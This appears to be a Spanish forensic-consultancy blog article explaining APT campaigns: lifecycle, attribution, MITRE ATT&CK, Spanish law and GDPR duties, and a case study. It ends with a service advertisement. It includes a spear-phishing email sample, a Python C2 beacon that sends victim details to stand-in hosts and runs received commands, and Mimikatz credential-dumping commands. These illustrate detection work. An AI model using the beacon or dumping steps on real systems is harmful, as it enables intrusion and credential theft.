APT (Amenaza Persistente Avanzada)

No se ha localizado una serie publicada de tiempo de permanencia de APT en sistemas españoles: no aparece en el CCN-CERT ni en el INCIBE, y las cifras que circulan atribuyéndosela no resisten la comprobación. Que una búsqueda no la encuentre no prueba que no exista —esos portales limitan la consulta automatizada—, pero sí impide citarla. Lo que sí está medido, a escala global, es el dwell time de Mandiant —11 días de mediana en la edición de 2025 y 14 en la de 2026—, con una advertencia que importa más que el número: la mediana esconde la cola, y es en la cola donde viven los APT. En SolarWinds los atacantes estuvieron más de nueve meses dentro.

¿Qué es un APT (Amenaza Persistente Avanzada)?

Un APT (Advanced Persistent Threat) es una campaña de ciberataque caracterizada por:

• Advanced: Usa técnicas sofisticadas (0-days, custom malware, ingeniería social dirigida)
• Persistent: Mantiene acceso continuo durante meses o años
• Threat: Objetivo estratégico específico (espionaje, sabotaje, robo IP)

Características distintivas

Diferencia con ransomware y malware commodity

APT vs Ransomware:

• APT: Permanencia silenciosa, exfiltración de datos sin detección
• Ransomware: Detección inmediata (cifrado ruidoso), demanda económica

APT vs Malware commodity (botnets, troyanos bancarios):

• APT: Targeting preciso, reconocimiento extenso, custom tooling
• Commodity: Distribución masiva, automatización, víctimas aleatorias

Lifecycle de un ataque APT

Fase 1: Reconocimiento (Reconnaissance)

Recopilación de información sobre el objetivo durante semanas o meses:

Cuánto dura esta fase: no hay una distribución publicada. Lo que sí está medido, y es el dato aprovechable, es el tiempo de permanencia global que publican los informes anuales del sector —y que este artículo cita más arriba con su fuente—.

Fase 2: Compromiso inicial (Initial Compromise)

Vectores de entrada más comunes en APTs:

Ejemplo de spear-phishing APT:

From: carlos.martinez@proveedortecnologico[.]com  # Dominio typosquatting
Subject: [URGENTE] Actualización de seguridad obligatoria
Date: 2025-11-23 09:14:32

Estimado Responsable de TI,

Hemos detectado una vulnerabilidad crítica en el módulo de autenticación
que afecta a su instalación. Debe aplicar el parche adjunto ANTES de las
18:00 horas para evitar compromiso de credenciales.

Adjunto: ActualizacionSeguridad_v2.3.1.exe  # Backdoor custom

Atentamente,
Carlos Martínez
Equipo de Respuesta de Seguridad

Red flags (detectables en análisis forense):

• Dominio similar pero no idéntico (typosquatting)
• Urgencia artificial (presión temporal)
• Archivo ejecutable en email (no patch legítimo)
• Sender no verificable en SPF/DKIM

Fase 3: Establecer punto de apoyo (Establish Foothold)

Una vez dentro, el atacante instala persistencia:

Beacon de C2 (Command & Control):

## Pseudo-código de beacon APT típico
import requests
import time
import base64

C2_SERVERS = [
    "hxxps://cdn-update[.]azureedge[.]net/api",  # C2 tras una CDN
    "hxxps://legitimate-cdn[.]cloudfront[.]net/resources",
    "hxxps://203.0.113.23/api"  # Fallback IP
]

def beacon():
    """Conexión periódica a C2 con jitter para evitar detección"""
    while True:
        for server in C2_SERVERS:
            try:
                # Enviar info básica del sistema
                data = {
                    "id": get_victim_id(),
                    "hostname": get_hostname(),
                    "user": get_current_user(),
                    "os": get_os_version(),
                    "av": detect_antivirus()
                }

                # Petición HTTPS normal (difícil de detectar)
                response = requests.post(
                    server,
                    json=data,
                    headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"},
                    timeout=10
                )

                # Recibir comandos del atacante
                if response.status_code == 200:
                    commands = response.json()
                    execute_commands(commands)
                    break

            except Exception:
                continue  # Probar siguiente servidor

        # Jitter: 5-15 minutos (dificulta detección de beaconing)
        sleep_time = random.randint(300, 900)
        time.sleep(sleep_time)

Fase 4: Escalada de privilegios (Privilege Escalation)

Obtener acceso Domain Admin o SYSTEM:

Técnicas comunes (MITRE ATT&CK):

Ejemplo: Mimikatz para dumping de credenciales

## Comando Mimikatz (ejecutado por APT tras compromiso)
mimikatz.exe

## Obtener privilegios debug
privilege::debug

## Dump de passwords en memoria
sekurlsa::logonpasswords

## Salida típica (simplificada):
## Authentication Id : 0 ; 2456789
## User Name         : administrador
## Domain            : EMPRESA
## NTLM              : a87f3a337d73085c45f9416be5787d86
## SHA1              : 7c6a180b4b64c3b9a5d9f9b2c5a3e1f4d7b8a9c0

Con este hash NTLM, el atacante hace Pass-the-Hash sin necesitar la contraseña en claro.

Fase 5: Movimiento lateral (Lateral Movement)

Propagación a otros sistemas de la red:

Indicador forense: Múltiples conexiones RDP/SMB desde un mismo host a muchos destinos en una ventana corta. El umbral se calibra contra la línea base de la red analizada, no hay una cifra universal: lo que delata el movimiento lateral es la desviación respecto a lo que ese host hacía antes.

Fase 6: Exfiltración (Data Exfiltration)

Robo silencioso de información durante meses:

Volúmenes típicos exfiltrados:

• Documentos estratégicos: volumen pequeño y muy dirigido
• Bases de datos completas: el mayor volumen, y el más visible en el tráfico de salida
• Propiedad intelectual (CAD, código fuente): repositorios completos, a menudo comprimidos antes de salir

Ritmo: la exfiltración se dosifica deliberadamente para no disparar alertas de volumen. No hay una cifra típica —depende del ancho de banda de la víctima y de lo que su umbral tolere—: lo que se busca en el análisis es tráfico saliente sostenido fuera del patrón habitual de ese enlace.

Fase 7: Mantener presencia (Maintain Presence)

Backdoors múltiples para evitar pérdida total de acceso:

• Backdoor primario (beacon regular a C2)
• Backdoor secundario (activación manual si primario es detectado)
• Backdoor terciario (implante durmiente, activación futura)
• Cuenta privilegiada oculta en AD (sin actividad, para reentrada)

Atribución de APTs

Metodología de atribución

La atribución es probabilística y no se expresa en porcentajes: los proveedores que la publican usan escalas cualitativas de confianza —baja, media, alta— y explican en qué se apoya cada una. Un dictamen que ponga un número está inventando precisión:

Grupos APT principales

Ejemplo de atribución: SolarWinds (2020)

Evidencia acumulativa apuntando a APT29:
1. TTPs coincidentes con campañas previas atribuidas al mismo actor
2. Infraestructura C2 reutilizaba patrones de naming
3. Malware SUNBURST mostraba sofisticación similar a WellMail
4. Objetivos geopolíticos: agencias US Gov, think tanks, tecnología
5. Patrones horarios compatibles con una zona horaria concreta
6. Confirmación oficial: US Gov atribuyó a SVR (Foreign Intelligence Service, Rusia)

Framework MITRE ATT&CK

MITRE ATT&CK es el estándar global para documentar TTPs de APTs:

15 tácticas en la matriz Enterprise a fecha de esta revisión:

1. Reconnaissance
2. Resource Development
3. Initial Access
4. Execution
5. Persistence
6. Privilege Escalation
7. Stealth (TA0005) — y, separada de ella, Defense Impairment (TA0112)
8. Credential Access
9. Discovery
10. Lateral Movement
11. Collection
12. Command and Control
13. Exfiltration
14. Impact

200+ Techniques documentadas con:

• Descripción detallada
• Procedimientos de grupos APT conocidos
• Mitigaciones recomendadas
• Métodos de detección

Uso forense: Mapear TTPs observados a MITRE ATT&CK permite:

• Identificar grupo APT mediante fingerprinting
• Predecir siguientes pasos del atacante
• Guiar threat hunting proactivo
• Documentar evidencia con terminología estándar

Marco legal español

Código Penal

APTs suelen involucrar múltiples delitos concurrentes:

Agravantes en APTs — las circunstancias del art. 264.2 CP (organización criminal, daños de especial gravedad o a un número elevado de sistemas, perjuicio grave a servicios públicos esenciales, o afectación a una infraestructura crítica) elevan la pena de los daños informáticos a 2-5 años y multa. Si lo agravado es la obstaculización de sistemas, la pena pasa a 3-8 años (art. 264 bis.2 CP).

Jurisprudencia internacional relevante

Imputación de miembros de APT1 (2014): MITRE atribuye el grupo al 2.º Buró del Ejército Popular de Liberación, la unidad conocida como 61398. El Departamento de Justicia estadounidense la presentó como «the first ever charges against a state actor for this type of hacking». Es un hito de política de persecución; no es un precedente jurídico en el sentido de doctrina aplicable, y no lo es en absoluto para los tribunales españoles.

Encaje penal en España: no existe un tipo específico de «APT». La conducta se reconduce al art. 197 bis CP (acceso ilícito y mantenimiento en el sistema contra la voluntad de su titular), al art. 278 CP cuando el objeto es descubrir secretos de empresa, y al art. 264 CP si hay daño o alteración de datos. La sofisticación no agrava por sí sola. La permanencia prolongada y el carácter dirigido del ataque son indicios que apuntan en contra del oportunismo y que el tribunal valora junto con el resto de la prueba; por sí solos no acreditan el elemento subjetivo del tipo.

RGPD y APTs

Si el APT comprometió datos personales:

• Notificación a la AEPD (art. 33): 72 horas desde que se tiene constancia, salvo que sea improbable que la violación entrañe un riesgo para los derechos y libertades. No toda brecha obliga a notificar.
• Comunicación a los interesados (art. 34): solo si es probable un alto riesgo, y con las excepciones que el propio artículo prevé.
• Medidas de seguridad (art. 32): un APT evidencia la necesidad de controles avanzados —EDR, segmentación, MFA—.
• Evaluación de impacto (art. 35): es previa al tratamiento, no un análisis posterior del alcance de la brecha. Confundirlas es un error frecuente en los informes de incidente.

Multas: la infracción del art. 32 está en el grupo de los arts. 25 a 39, cuyo tramo es el del art. 83.4: hasta 10 millones de euros o el 2 % del volumen de negocio anual global. Los 20 millones o el 4 % corresponden al art. 83.5, que cubre otras infracciones.

Herramientas forenses para análisis de APTs

Suite de detección y análisis

Metodología de investigación forense

Caso práctico: APT en empresa aeroespacial

Contexto: una empresa española de componentes aeroespaciales detecta anomalías en tráfico de red. Análisis forense revela APT activo desde hace 7 meses. Objetivo: robo de diseños CAD y especificaciones técnicas de componentes para aviones militares.

Timeline del ataque

Hallazgos forenses

Análisis de malware inicial:

Archivo: Especificaciones_Proyecto_Atlas_CONFIDENCIAL.rtf.exe
SHA-256: 7c8f4b3a9d2e1f6a5c8b7d9e4f2a1b8c3d9e7f4a2b6c8d1e9f3a7b5c2d4e6f8a
Tipo: PE32 executable (GUI) Intel 80386, for MS Windows
Compilador: Microsoft Visual C++ 2019 (timestamp manipulado)
Firma digital: AUSENTE (sin certificado)
Ofuscación: VMProtect 3.5 (detectado con Detect It Easy)

Comportamiento (análisis en sandbox):
1. Extrae payload cifrado desde section ".rsrc"
2. Decifra con AES-256 (clave derivada de HWID)
3. Inyecta en proceso legítimo "RuntimeBroker.exe" (Process Hollowing)
4. Establece persistencia: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
5. Beacon a C2 alojado tras una CDN: cdn-update[.]azureedge[.]net

TTPs observados (MITRE ATT&CK mapping):

• T1566.001 (Phishing: Spearphishing Attachment): Email dirigido con 0-day RTF
• T1055 (Process Injection): Process hollowing en RuntimeBroker.exe
• T1547.001 (Boot or Logon Autostart: Registry Run Keys): Persistencia
• T1071.001 (Application Layer Protocol: Web Protocols): C2 via HTTPS tras una CDN de gran proveedor
• T1003.001 (Credential Dumping: LSASS Memory): Mimikatz
• T1021.002 (Remote Services: SMB/Windows Admin Shares): Lateral movement
• T1074 (Data Staged): Archivos CAD comprimidos en C:\Windows\Temp\
• T1041 (Exfiltration Over C2 Channel): 89 GB via HTTPS

Atribución técnica

Correlación con grupo APT conocido:

Confianza de atribución: compatible con el modo de operar de APT28, en grado alto por coincidencia de TTP, franja horaria y sector objetivo. Coherentemente con lo dicho más arriba, no se expresa en porcentaje: no hay escala publicada que convierta un cuadro indiciario en una cifra, y un número inventa una precisión que el dictamen no puede sostener en sala.

Impacto y respuesta

Daños:

• 89 GB de diseños CAD exfiltrados (47 proyectos confidenciales)
• Pérdida estimada: €3.2M en I+D comprometida
• 7 licitaciones militares perdidas (ventaja competitiva anulada)

Respuesta coordinada:

1. Erradicación simultánea en 48 horas (todos los implantes)
2. Rotación de 1.247 credenciales de Active Directory
3. Segmentación de red de ingeniería (VLAN aislada)
4. Implementación EDR en 100% de endpoints
5. Contratación de SOC externo 24/7

Prevención y detección de APTs

Controles técnicos esenciales

Indicadores de compromiso APT

Señales técnicas:

• Conexiones periódicas regulares (beaconing) a IPs/dominios sospechosos
• Uso de herramientas de administración legítimas en contexto anómalo (PsExec, WMI)
• Movimientos laterales rápidos entre múltiples sistemas
• Exfiltración de volúmenes grandes de datos comprimidos/cifrados
• Procesos con nombres similares a legítimos pero en paths incorrectos (svchost.exe en C:\Temp\)

Señales organizativas:

• Targeting muy específico (spear-phishing a roles clave)
• Persistencia tras detección y limpieza inicial
• Falta de demanda económica (no ransomware, no extorsión)
• Interés en información estratégica sin valor monetario directo

FAQs sobre APTs forenses

¿Cuál es la diferencia entre APT y ciberataque normal?

Los APTs son campañas prolongadas (meses/años) con objetivos estratégicos específicos (espionaje, robo IP, sabotaje), ejecutadas por actores con recursos significativos (estados-nación, grupos patrocinados). Los ciberataques normales son oportunistas, automatizados y buscan beneficio económico rápido (ransomware, fraude bancario). APTs usan 0-days, custom malware y permanecen ocultos durante meses; ataques comunes usan malware conocido, son ruidosos y se detectan en horas/días.

¿Cómo se atribuye un ataque APT a un grupo o país específico?

Mediante correlación de múltiples factores:

• TTPs (tácticas, técnicas, procedimientos) comparados con MITRE ATT&CK
• Infraestructura C2: Reutilización de IPs, dominios, hosting providers
• Firmas de malware: Código compartido, algoritmos únicos, compiladores
• Análisis lingüístico: Idioma de strings, errores característicos en código
• Objetivos geopolíticos: Alineación con intereses del estado-nación sospechoso
• Timing: Zona horaria de actividad, ausencia en festivos del país de origen

La atribución es probabilística, nunca certera, y se expresa en grados —bajo, medio, alto— con el razonamiento a la vista. No en porcentajes: no existe escala publicada que los sostenga.

¿Cuánto tiempo permanecen ocultos los APTs antes de ser detectados?

Dwell time mediano global (compromiso → detección): 14 días en la edición de 2026 del M-Trends de Mandiant, frente a los 11 días de la edición anterior. Conviene leer bien esa cifra: es la mediana de todas las intrusiones, no la de los APT. El propio informe separa categorías próximas al espionaje persistente y les asigna permanencias muy superiores —del orden de los 122 días—, de modo que usar los 14 como si describiera a un actor persistente invierte el sentido del dato.

Sobre la causa, Mandiant no la afirma, la apunta: sugiere que el cambio probablemente refleje una sofisticación creciente, en particular en la evasión de defensas. El matiz importa en un dictamen: una hipótesis del propio fabricante no es una causa acreditada.

Hay además un corolario operativo: con familias que alcanzan permanencias cercanas a los 400 días, una retención de registros de 90 días deja a la organización ciega al vector de acceso inicial.

No confundir con el ciclo completo de identificación y contención, que IBM cifra en 241 días en su edición de 2025; el enlace de marca se reutiliza cada año, así que conviene citar la edición.

España: no se ha localizado una serie publicada. Ni en el CCN-CERT ni en el INCIBE aparece un dwell time nacional en las búsquedas realizadas, lo que no equivale a afirmar que no exista.

APTs avanzados: SolarWinds permaneció 9+ meses sin detectar, y algunas campañas chinas en telecoms permanecieron activas durante años.

La detección temprana requiere: EDR con análisis comportamental, threat hunting proactivo, SIEM con correlación avanzada y respuesta rápida a alertas. Sin estos controles, los APTs pueden permanecer indefinidamente.

¿Necesitas análisis forense de APT?

En Digital Perito realizamos investigación forense especializada en amenazas persistentes avanzadas con validez judicial para casos de:

• Espionaje empresarial con técnicas APT
• Robo de propiedad intelectual estratégica
• Compromiso de infraestructuras críticas
• Análisis de atribución a grupos APT conocidos
• Respuesta a incidentes con presencia prolongada

Metodología MITRE ATT&CK | Análisis con EDR y herramientas threat intelligence | Disponibilidad 24/7 para incidentes críticos

Referencias y fuentes

1. MITRE ATT&CK — fichas de los grupos citados: APT28 (G0007), APT29 (G0016), APT1 (G0006) —atribuido al 2.º Buró del Ejército Popular de Liberación, la unidad 61398— y Lazarus Group (G0032).
2. CISA — Advanced Persistent Threat Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations (AA20-352A), sobre la campaña de SolarWinds.
3. Código Penal — arts. 197 bis, 264, 264 bis y 278, BOE.
4. RGPD — Reglamento (UE) 2016/679: notificación a la autoridad (art. 33) y comunicación al afectado (art. 34).

Contactar con perito forense en APTs →

Jonathan Izquierdo | Perito Informático Forense Ex-CTO | 5x AWS Certified | Metodología ISO 27037 📍 Jaén, España | Cobertura nacional